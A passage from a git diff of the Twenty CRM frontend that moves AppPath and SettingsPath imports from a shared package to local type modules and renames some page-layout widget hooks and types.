AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/auth/components/VerifyEmailEffect.tsx b/packages/twenty-front/src/modules/auth/components/VerifyEmailEffect.tsx index 90c70373c6..a2bcf266c8 100644 --- a/packages/twenty-front/src/modules/auth/components/VerifyEmailEffect.tsx +++ b/packages/twenty-front/src/modules/auth/components/VerifyEmailEffect.tsx @@ -1,7 +1,7 @@ import { useAuth } from '@/auth/hooks/useAuth'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ApolloError } from '@apollo/client'; -import { AppPath } from 'twenty-shared/types'; import { verifyEmailRedirectPathState } from '@/app/states/verifyEmailRedirectPathState'; import { useVerifyLogin } from '@/auth/hooks/useVerifyLogin'; diff --git a/packages/twenty-front/src/modules/auth/components/VerifyLoginTokenEffect.tsx b/packages/twenty-front/src/modules/auth/components/VerifyLoginTokenEffect.tsx index 922bcccde9..620636f466 100644 --- a/packages/twenty-front/src/modules/auth/components/VerifyLoginTokenEffect.tsx +++ b/packages/twenty-front/src/modules/auth/components/VerifyLoginTokenEffect.tsx @@ -4,8 +4,8 @@ import { useSearchParams } from 'react-router-dom'; import { useIsLogged } from '@/auth/hooks/useIsLogged'; import { useVerifyLogin } from '@/auth/hooks/useVerifyLogin'; import { clientConfigApiStatusState } from '@/client-config/states/clientConfigApiStatusState'; +import { AppPath } from '@/types/AppPath'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/auth/constants/AuthModalConfig.ts b/packages/twenty-front/src/modules/auth/constants/AuthModalConfig.ts index 31b58c79ce..32d1419293 100644 --- a/packages/twenty-front/src/modules/auth/constants/AuthModalConfig.ts +++ b/packages/twenty-front/src/modules/auth/constants/AuthModalConfig.ts @@ -1,8 +1,8 @@ +import { AppPath } from '@/types/AppPath'; import { type ModalSize, type ModalVariants, } from '@/ui/layout/modal/components/Modal'; -import { AppPath } from 'twenty-shared/types'; type AuthModalConfigType = { size: ModalSize; diff --git a/packages/twenty-front/src/modules/auth/hooks/__tests__/useVerifyLogin.test.ts b/packages/twenty-front/src/modules/auth/hooks/__tests__/useVerifyLogin.test.ts index 7dc00dfaa1..8ff6d14941 100644 --- a/packages/twenty-front/src/modules/auth/hooks/__tests__/useVerifyLogin.test.ts +++ b/packages/twenty-front/src/modules/auth/hooks/__tests__/useVerifyLogin.test.ts @@ -3,8 +3,8 @@ import { I18nProvider } from '@lingui/react'; import { renderHook } from '@testing-library/react'; import { RecoilRoot } from 'recoil'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; -import { AppPath } from 'twenty-shared/types'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { useAuth } from '../useAuth'; import { useVerifyLogin } from '../useVerifyLogin'; diff --git a/packages/twenty-front/src/modules/auth/hooks/useAuth.ts b/packages/twenty-front/src/modules/auth/hooks/useAuth.ts index e401c1ba08..342c20916d 100644 --- a/packages/twenty-front/src/modules/auth/hooks/useAuth.ts +++ b/packages/twenty-front/src/modules/auth/hooks/useAuth.ts @@ -1,3 +1,4 @@ +import { AppPath } from '@/types/AppPath'; import { ApolloError, useApolloClient } from '@apollo/client'; import { useCallback } from 'react'; import { @@ -7,7 +8,6 @@ import { useRecoilValue, useSetRecoilState, } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { billingState } from '@/client-config/states/billingState'; import { clientConfigApiStatusState } from '@/client-config/states/clientConfigApiStatusState'; diff --git a/packages/twenty-front/src/modules/auth/hooks/useVerifyLogin.ts b/packages/twenty-front/src/modules/auth/hooks/useVerifyLogin.ts index 7aabc0758d..846bbf0fd0 100644 --- a/packages/twenty-front/src/modules/auth/hooks/useVerifyLogin.ts +++ b/packages/twenty-front/src/modules/auth/hooks/useVerifyLogin.ts @@ -1,7 +1,7 @@ import { useAuth } from '@/auth/hooks/useAuth'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { useLingui } from '@lingui/react/macro'; -import { AppPath } from 'twenty-shared/types'; import { useNavigateApp } from '~/hooks/useNavigateApp'; export const useVerifyLogin = () => { diff --git a/packages/twenty-front/src/modules/auth/sign-in-up/components/internal/SignInUpTwoFactorAuthenticationVerification.tsx b/packages/twenty-front/src/modules/auth/sign-in-up/components/internal/SignInUpTwoFactorAuthenticationVerification.tsx index 1823339e47..4bad2f2689 100644 --- a/packages/twenty-front/src/modules/auth/sign-in-up/components/internal/SignInUpTwoFactorAuthenticationVerification.tsx +++ b/packages/twenty-front/src/modules/auth/sign-in-up/components/internal/SignInUpTwoFactorAuthenticationVerification.tsx @@ -12,13 +12,13 @@ import { signInUpStepState, } from '@/auth/states/signInUpStepState'; import { useReadCaptchaToken } from '@/captcha/hooks/useReadCaptchaToken'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { Trans, useLingui } from '@lingui/react/macro'; import { OTPInput, type SlotProps } from 'input-otp'; import { useState } from 'react'; import { Controller } from 'react-hook-form'; import { useRecoilValue, useSetRecoilState } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { MainButton } from 'twenty-ui/input'; import { ClickToActionLink } from 'twenty-ui/navigation'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignInUp.ts b/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignInUp.ts index 9fc736c487..fd27bcf141 100644 --- a/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignInUp.ts +++ b/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignInUp.ts @@ -12,10 +12,10 @@ import { SignInUpMode } from '@/auth/types/signInUpMode'; import { useReadCaptchaToken } from '@/captcha/hooks/useReadCaptchaToken'; import { useBuildSearchParamsFromUrlSyncedStates } from '@/domain-manager/hooks/useBuildSearchParamsFromUrlSyncedStates'; import { useIsCurrentLocationOnAWorkspace } from '@/domain-manager/hooks/useIsCurrentLocationOnAWorkspace'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ApolloError } from '@apollo/client'; import { useRecoilState } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { buildAppPathWithQueryParams } from '~/utils/buildAppPathWithQueryParams'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; import { useAuth } from '../../hooks/useAuth'; diff --git a/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignUpInNewWorkspace.ts b/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignUpInNewWorkspace.ts index 9182a9dcf2..c0ba5e7090 100644 --- a/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignUpInNewWorkspace.ts +++ b/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useSignUpInNewWorkspace.ts @@ -1,7 +1,7 @@ import { useRedirectToWorkspaceDomain } from '@/domain-manager/hooks/useRedirectToWorkspaceDomain'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { type ApolloError } from '@apollo/client'; -import { AppPath } from 'twenty-shared/types'; import { useSignUpInNewWorkspaceMutation } from '~/generated-metadata/graphql'; import { getWorkspaceUrl } from '~/utils/getWorkspaceUrl'; diff --git a/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useWorkspaceFromInviteHash.ts b/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useWorkspaceFromInviteHash.ts index 79850a1ce1..e0f535f95f 100644 --- a/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useWorkspaceFromInviteHash.ts +++ b/packages/twenty-front/src/modules/auth/sign-in-up/hooks/useWorkspaceFromInviteHash.ts @@ -6,8 +6,8 @@ import { currentWorkspaceState } from '@/auth/states/currentWorkspaceState'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; +import { AppPath } from '@/types/AppPath'; import { t } from '@lingui/core/macro'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { useGetWorkspaceFromInviteHashQuery } from '~/generated-metadata/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/auth/utils/availableWorkspacesUtils.ts b/packages/twenty-front/src/modules/auth/utils/availableWorkspacesUtils.ts index 0443e47414..c7cb539a20 100644 --- a/packages/twenty-front/src/modules/auth/utils/availableWorkspacesUtils.ts +++ b/packages/twenty-front/src/modules/auth/utils/availableWorkspacesUtils.ts @@ -1,10 +1,10 @@ -import { generatePath } from 'react-router-dom'; -import { AppPath } from 'twenty-shared/types'; -import { isDefined } from 'twenty-shared/utils'; import { - type AvailableWorkspace, type AvailableWorkspaces, + type AvailableWorkspace, } from '~/generated/graphql'; +import { AppPath } from '@/types/AppPath'; +import { isDefined } from 'twenty-shared/utils'; +import { generatePath } from 'react-router-dom'; export const countAvailableWorkspaces = ({ availableWorkspacesForSignIn, diff --git a/packages/twenty-front/src/modules/auth/utils/getAuthModalConfig.ts b/packages/twenty-front/src/modules/auth/utils/getAuthModalConfig.ts index 50f3b60287..41ae7cbfac 100644 --- a/packages/twenty-front/src/modules/auth/utils/getAuthModalConfig.ts +++ b/packages/twenty-front/src/modules/auth/utils/getAuthModalConfig.ts @@ -1,6 +1,6 @@ import { AUTH_MODAL_CONFIG } from '@/auth/constants/AuthModalConfig'; +import { AppPath } from '@/types/AppPath'; import { type Location } from 'react-router-dom'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; diff --git a/packages/twenty-front/src/modules/captcha/constants/CaptchaProtectedPaths.ts b/packages/twenty-front/src/modules/captcha/constants/CaptchaProtectedPaths.ts index a48182f145..d76b50fcc2 100644 --- a/packages/twenty-front/src/modules/captcha/constants/CaptchaProtectedPaths.ts +++ b/packages/twenty-front/src/modules/captcha/constants/CaptchaProtectedPaths.ts @@ -1,4 +1,4 @@ -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; export const CAPTCHA_PROTECTED_PATHS: string[] = [ AppPath.SignInUp, diff --git a/packages/twenty-front/src/modules/command-menu/components/CommandMenuRouter.tsx b/packages/twenty-front/src/modules/command-menu/components/CommandMenuRouter.tsx index 76cef582cc..71b5573cf7 100644 --- a/packages/twenty-front/src/modules/command-menu/components/CommandMenuRouter.tsx +++ b/packages/twenty-front/src/modules/command-menu/components/CommandMenuRouter.tsx @@ -8,12 +8,12 @@ import { commandMenuPageState } from '@/command-menu/states/commandMenuPageState import { CommandMenuPageComponentInstanceContext } from '@/command-menu/states/contexts/CommandMenuPageComponentInstanceContext'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; +import { SettingsPath } from '@/types/SettingsPath'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { motion } from 'framer-motion'; import { useLocation } from 'react-router-dom'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; const StyledCommandMenuContent = styled.div` diff --git a/packages/twenty-front/src/modules/command-menu/components/CommandMenuTopBar.tsx b/packages/twenty-front/src/modules/command-menu/components/CommandMenuTopBar.tsx index d1147f5ee6..a185120ef7 100644 --- a/packages/twenty-front/src/modules/command-menu/components/CommandMenuTopBar.tsx +++ b/packages/twenty-front/src/modules/command-menu/components/CommandMenuTopBar.tsx @@ -20,7 +20,6 @@ import { AnimatePresence, motion } from 'framer-motion'; import { useRef } from 'react'; import { useLocation } from 'react-router-dom'; import { useRecoilState, useRecoilValue } from 'recoil'; -import { AppBasePath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconChevronLeft, IconX } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; @@ -106,8 +105,8 @@ export const CommandMenuTopBar = () => { const location = useLocation(); const isButtonVisible = - !location.pathname.startsWith(`${AppBasePath.Root}objects/`) && - !location.pathname.startsWith(`${AppBasePath.Root}object/`); + !location.pathname.startsWith('/objects/') && + !location.pathname.startsWith('/object/'); const backButtonAnimationDuration = contextChips.length > 0 ? theme.animation.duration.instant : 0; diff --git a/packages/twenty-front/src/modules/command-menu/hooks/useCommandMenuSearchRecords.tsx b/packages/twenty-front/src/modules/command-menu/hooks/useCommandMenuSearchRecords.tsx index bbd3f312e6..138d8424d9 100644 --- a/packages/twenty-front/src/modules/command-menu/hooks/useCommandMenuSearchRecords.tsx +++ b/packages/twenty-front/src/modules/command-menu/hooks/useCommandMenuSearchRecords.tsx @@ -10,10 +10,10 @@ import { useObjectMetadataItems } from '@/object-metadata/hooks/useObjectMetadat import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { useObjectPermissions } from '@/object-record/hooks/useObjectPermissions'; import { getObjectPermissionsFromMapByObjectMetadataId } from '@/settings/roles/role-permissions/objects-permissions/utils/getObjectPermissionsFromMapByObjectMetadataId'; +import { AppPath } from '@/types/AppPath'; import { t } from '@lingui/core/macro'; import { useMemo } from 'react'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { Avatar } from 'twenty-ui/display'; import { useDebounce } from 'use-debounce'; import { useSearchQuery } from '~/generated/graphql'; diff --git a/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutGraphTypeSelect.tsx b/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutGraphTypeSelect.tsx index 022f20e6a7..ac9d099d61 100644 --- a/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutGraphTypeSelect.tsx +++ b/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutGraphTypeSelect.tsx @@ -1,7 +1,7 @@ import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu'; -import { useCreatePageLayoutWidget } from '@/settings/page-layout/hooks/useCreatePageLayoutWidget'; +import { usePageLayoutWidgetCreate } from '@/settings/page-layout/hooks/usePageLayoutWidgetCreate'; import { - GraphType, + GraphSubType, WidgetType, } from '@/settings/page-layout/mocks/mockWidgets'; import styled from '@emotion/styled'; @@ -30,22 +30,22 @@ const StyledSectionTitle = styled.div` const graphTypeOptions = [ { - type: GraphType.BAR, + type: GraphSubType.BAR, icon: IconChartBar, title: 'Bar Chart', }, { - type: GraphType.PIE, + type: GraphSubType.PIE, icon: IconChartPie, title: 'Pie Chart', }, { - type: GraphType.GAUGE, + type: GraphSubType.GAUGE, icon: IconGauge, title: 'Gauge', }, { - type: GraphType.NUMBER, + type: GraphSubType.NUMBER, icon: IconNumber, title: 'Number', }, @@ -53,10 +53,10 @@ const graphTypeOptions = [ export const CommandMenuPageLayoutGraphTypeSelect = () => { const { closeCommandMenu } = useCommandMenu(); - const { createPageLayoutWidget } = useCreatePageLayoutWidget(); + const { handleCreateWidget } = usePageLayoutWidgetCreate(); - const handleSelectGraphType = (graphType: GraphType) => { - createPageLayoutWidget(WidgetType.GRAPH, graphType); + const handleSelectGraphType = (graphType: GraphSubType) => { + handleCreateWidget(WidgetType.GRAPH, graphType); closeCommandMenu(); }; diff --git a/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutIframeConfig.tsx b/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutIframeConfig.tsx index cbe7263d64..783fd0333d 100644 --- a/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutIframeConfig.tsx +++ b/packages/twenty-front/src/modules/command-menu/pages/page-layout/components/CommandMenuPageLayoutIframeConfig.tsx @@ -1,7 +1,7 @@ import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu'; import { FormTextFieldInput } from '@/object-record/record-field/ui/form-types/components/FormTextFieldInput'; import { useCreatePageLayoutIframeWidget } from '@/settings/page-layout/hooks/useCreatePageLayoutIframeWidget'; -import { useUpdatePageLayoutWidget } from '@/settings/page-layout/hooks/useUpdatePageLayoutWidget'; +import { usePageLayoutWidgetUpdate } from '@/settings/page-layout/hooks/usePageLayoutWidgetUpdate'; import { pageLayoutDraftState } from '@/settings/page-layout/states/pageLayoutDraftState'; import { pageLayoutEditingWidgetIdState } from '@/settings/page-layout/states/pageLayoutEditingWidgetIdState'; import styled from '@emotion/styled'; @@ -34,7 +34,7 @@ const StyledButtonContainer = styled.div` export const CommandMenuPageLayoutIframeConfig = () => { const { closeCommandMenu } = useCommandMenu(); const { createPageLayoutIframeWidget } = useCreatePageLayoutIframeWidget(); - const { updatePageLayoutWidget } = useUpdatePageLayoutWidget(); + const { handleUpdateWidget } = usePageLayoutWidgetUpdate(); const [pageLayoutEditingWidgetId, setPageLayoutEditingWidgetId] = useRecoilState(pageLayoutEditingWidgetIdState); const pageLayoutDraft = useRecoilValue(pageLayoutDraftState); @@ -77,7 +77,7 @@ export const CommandMenuPageLayoutIframeConfig = () => { } if (isEditMode && pageLayoutEditingWidgetId !== null) { - updatePageLayoutWidget(pageLayoutEditingWidgetId, { + handleUpdateWidget(pageLayoutEditingWidgetId, { title: title.trim(), configuration: { ...editingWidget?.configuration, diff --git a/packages/twenty-front/src/modules/context-store/components/MainContextStoreProvider.tsx b/packages/twenty-front/src/modules/context-store/components/MainContextStoreProvider.tsx index 787c50822c..11bd1f6c0e 100644 --- a/packages/twenty-front/src/modules/context-store/components/MainContextStoreProvider.tsx +++ b/packages/twenty-front/src/modules/context-store/components/MainContextStoreProvider.tsx @@ -3,10 +3,10 @@ import { useIsSettingsPage } from '@/navigation/hooks/useIsSettingsPage'; import { useLastVisitedView } from '@/navigation/hooks/useLastVisitedView'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; import { prefetchIndexViewIdFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchIndexViewIdFromObjectMetadataItemFamilySelector'; +import { AppPath } from '@/types/AppPath'; import { useShowAuthModal } from '@/ui/layout/hooks/useShowAuthModal'; import { useLocation, useParams, useSearchParams } from 'react-router-dom'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; diff --git a/packages/twenty-front/src/modules/favorites/utils/sortFavorites.ts b/packages/twenty-front/src/modules/favorites/utils/sortFavorites.ts index 08c8996cb8..8e8e183c27 100644 --- a/packages/twenty-front/src/modules/favorites/utils/sortFavorites.ts +++ b/packages/twenty-front/src/modules/favorites/utils/sortFavorites.ts @@ -4,9 +4,10 @@ import { type FieldMetadataItem } from '@/object-metadata/types/FieldMetadataIte import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem'; import { type ObjectRecord } from '@/object-record/types/ObjectRecord'; import { type ObjectRecordIdentifier } from '@/object-record/types/ObjectRecordIdentifier'; +import { AppPath } from '@/types/AppPath'; import { type View } from '@/views/types/View'; -import { AppPath } from 'twenty-shared/types'; -import { getAppPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; +import { getAppPath } from '~/utils/navigation/getAppPath'; export type ProcessedFavorite = Favorite & { Icon?: string; diff --git a/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerBillingSubscriptionPaused.tsx b/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerBillingSubscriptionPaused.tsx index 9e137bf159..3a03664671 100644 --- a/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerBillingSubscriptionPaused.tsx +++ b/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerBillingSubscriptionPaused.tsx @@ -1,13 +1,14 @@ import { useRedirect } from '@/domain-manager/hooks/useRedirect'; import { InformationBanner } from '@/information-banner/components/InformationBanner'; import { usePermissionFlagMap } from '@/settings/roles/hooks/usePermissionFlagMap'; +import { SettingsPath } from '@/types/SettingsPath'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { PermissionFlagType, useBillingPortalSessionQuery, } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const InformationBannerBillingSubscriptionPaused = () => { const { redirect } = useRedirect(); diff --git a/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerFailPaymentInfo.tsx b/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerFailPaymentInfo.tsx index 5ae9c1fde3..b8ef41e3ed 100644 --- a/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerFailPaymentInfo.tsx +++ b/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerFailPaymentInfo.tsx @@ -1,13 +1,14 @@ import { useRedirect } from '@/domain-manager/hooks/useRedirect'; import { InformationBanner } from '@/information-banner/components/InformationBanner'; import { usePermissionFlagMap } from '@/settings/roles/hooks/usePermissionFlagMap'; +import { SettingsPath } from '@/types/SettingsPath'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { PermissionFlagType, useBillingPortalSessionQuery, } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const InformationBannerFailPaymentInfo = () => { const { redirect } = useRedirect(); diff --git a/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerNoBillingSubscription.tsx b/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerNoBillingSubscription.tsx index 56fdfd88a8..353472624f 100644 --- a/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerNoBillingSubscription.tsx +++ b/packages/twenty-front/src/modules/information-banner/components/billing/InformationBannerNoBillingSubscription.tsx @@ -2,10 +2,10 @@ import { BILLING_CHECKOUT_SESSION_DEFAULT_VALUE } from '@/billing/constants/Bill import { useHandleCheckoutSession } from '@/billing/hooks/useHandleCheckoutSession'; import { InformationBanner } from '@/information-banner/components/InformationBanner'; import { usePermissionFlagMap } from '@/settings/roles/hooks/usePermissionFlagMap'; +import { SettingsPath } from '@/types/SettingsPath'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { PermissionFlagType } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const InformationBannerNoBillingSubscription = () => { const { handleCheckoutSession, isSubmitting } = useHandleCheckoutSession({ diff --git a/packages/twenty-front/src/modules/navigation/components/MainNavigationDrawerFixedItems.tsx b/packages/twenty-front/src/modules/navigation/components/MainNavigationDrawerFixedItems.tsx index e513b84a3c..d73f3de469 100644 --- a/packages/twenty-front/src/modules/navigation/components/MainNavigationDrawerFixedItems.tsx +++ b/packages/twenty-front/src/modules/navigation/components/MainNavigationDrawerFixedItems.tsx @@ -1,5 +1,6 @@ import { useOpenAskAIPageInCommandMenu } from '@/command-menu/hooks/useOpenAskAIPageInCommandMenu'; import { useOpenRecordsSearchPageInCommandMenu } from '@/command-menu/hooks/useOpenRecordsSearchPageInCommandMenu'; +import { SettingsPath } from '@/types/SettingsPath'; import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem'; import { isNavigationDrawerExpandedState } from '@/ui/navigation/states/isNavigationDrawerExpanded'; import { navigationDrawerExpandedMemorizedState } from '@/ui/navigation/states/navigationDrawerExpandedMemorizedState'; @@ -8,11 +9,10 @@ import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { useLingui } from '@lingui/react/macro'; import { useLocation, useNavigate } from 'react-router-dom'; import { useRecoilState, useSetRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconSearch, IconSettings, IconSparkles } from 'twenty-ui/display'; import { useIsMobile } from 'twenty-ui/utilities'; import { FeatureFlagKey } from '~/generated/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const MainNavigationDrawerFixedItems = () => { const isMobile = useIsMobile(); diff --git a/packages/twenty-front/src/modules/navigation/components/__stories__/AppNavigationDrawer.stories.tsx b/packages/twenty-front/src/modules/navigation/components/__stories__/AppNavigationDrawer.stories.tsx index 34220894f5..41d4b99c93 100644 --- a/packages/twenty-front/src/modules/navigation/components/__stories__/AppNavigationDrawer.stories.tsx +++ b/packages/twenty-front/src/modules/navigation/components/__stories__/AppNavigationDrawer.stories.tsx @@ -9,8 +9,8 @@ import { IconsProviderDecorator } from '~/testing/decorators/IconsProviderDecora import { ObjectMetadataItemsDecorator } from '~/testing/decorators/ObjectMetadataItemsDecorator'; import { SnackBarDecorator } from '~/testing/decorators/SnackBarDecorator'; +import { AppPath } from '@/types/AppPath'; import { isNavigationDrawerExpandedState } from '@/ui/navigation/states/isNavigationDrawerExpanded'; -import { AppPath } from 'twenty-shared/types'; import { I18nFrontDecorator } from '~/testing/decorators/I18nFrontDecorator'; import { AppNavigationDrawer, diff --git a/packages/twenty-front/src/modules/navigation/hooks/__tests__/useDefaultHomePagePath.test.ts b/packages/twenty-front/src/modules/navigation/hooks/__tests__/useDefaultHomePagePath.test.ts index 575f7c3ee9..56d4599c66 100644 --- a/packages/twenty-front/src/modules/navigation/hooks/__tests__/useDefaultHomePagePath.test.ts +++ b/packages/twenty-front/src/modules/navigation/hooks/__tests__/useDefaultHomePagePath.test.ts @@ -7,8 +7,8 @@ import { currentUserWorkspaceState } from '@/auth/states/currentUserWorkspaceSta import { useDefaultHomePagePath } from '@/navigation/hooks/useDefaultHomePagePath'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; import { AggregateOperations } from '@/object-record/record-table/constants/AggregateOperations'; +import { AppPath } from '@/types/AppPath'; import { coreViewsState } from '@/views/states/coreViewState'; -import { AppPath } from 'twenty-shared/types'; import { ViewOpenRecordIn, ViewType } from '~/generated/graphql'; import { getMockCompanyObjectMetadataItem } from '~/testing/mock-data/companies'; import { mockedUserData } from '~/testing/mock-data/users'; diff --git a/packages/twenty-front/src/modules/navigation/hooks/useDefaultHomePagePath.ts b/packages/twenty-front/src/modules/navigation/hooks/useDefaultHomePagePath.ts index 7fa83af53e..4fe0447b29 100644 --- a/packages/twenty-front/src/modules/navigation/hooks/useDefaultHomePagePath.ts +++ b/packages/twenty-front/src/modules/navigation/hooks/useDefaultHomePagePath.ts @@ -4,13 +4,16 @@ import { type ObjectPathInfo } from '@/navigation/types/ObjectPathInfo'; import { useFilteredObjectMetadataItems } from '@/object-metadata/hooks/useFilteredObjectMetadataItems'; import { useObjectPermissions } from '@/object-record/hooks/useObjectPermissions'; import { getObjectPermissionsFromMapByObjectMetadataId } from '@/settings/roles/role-permissions/objects-permissions/utils/getObjectPermissionsFromMapByObjectMetadataId'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { coreViewsState } from '@/views/states/coreViewState'; import { convertCoreViewToView } from '@/views/utils/convertCoreViewToView'; import isEmpty from 'lodash.isempty'; import { useCallback, useMemo } from 'react'; import { useRecoilCallback, useRecoilValue } from 'recoil'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getAppPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; +import { getAppPath } from '~/utils/navigation/getAppPath'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const useDefaultHomePagePath = () => { const currentUser = useRecoilValue(currentUserState); @@ -115,7 +118,7 @@ export const useDefaultHomePagePath = () => { } if (isEmpty(readableAlphaSortedActiveNonSystemObjectMetadataItems)) { - return `${AppPath.Settings}/${SettingsPath.ProfilePage}`; + return getSettingsPath(SettingsPath.ProfilePage); } const defaultObjectPathInfo = getDefaultObjectPathInfo(); diff --git a/packages/twenty-front/src/modules/navigation/utils/__tests__/indexAppPath.test.ts b/packages/twenty-front/src/modules/navigation/utils/__tests__/indexAppPath.test.ts index bd7c044214..294dd6a5fc 100644 --- a/packages/twenty-front/src/modules/navigation/utils/__tests__/indexAppPath.test.ts +++ b/packages/twenty-front/src/modules/navigation/utils/__tests__/indexAppPath.test.ts @@ -1,4 +1,4 @@ -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import indexAppPath from '../indexAppPath'; describe('getIndexAppPath', () => { diff --git a/packages/twenty-front/src/modules/navigation/utils/indexAppPath.ts b/packages/twenty-front/src/modules/navigation/utils/indexAppPath.ts index 02f039c845..02af3bedc5 100644 --- a/packages/twenty-front/src/modules/navigation/utils/indexAppPath.ts +++ b/packages/twenty-front/src/modules/navigation/utils/indexAppPath.ts @@ -1,4 +1,4 @@ -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; const getIndexAppPath = () => { return AppPath.Index; diff --git a/packages/twenty-front/src/modules/object-metadata/components/NavigationDrawerItemForObjectMetadataItem.tsx b/packages/twenty-front/src/modules/object-metadata/components/NavigationDrawerItemForObjectMetadataItem.tsx index bbee3cdfed..b297df68ef 100644 --- a/packages/twenty-front/src/modules/object-metadata/components/NavigationDrawerItemForObjectMetadataItem.tsx +++ 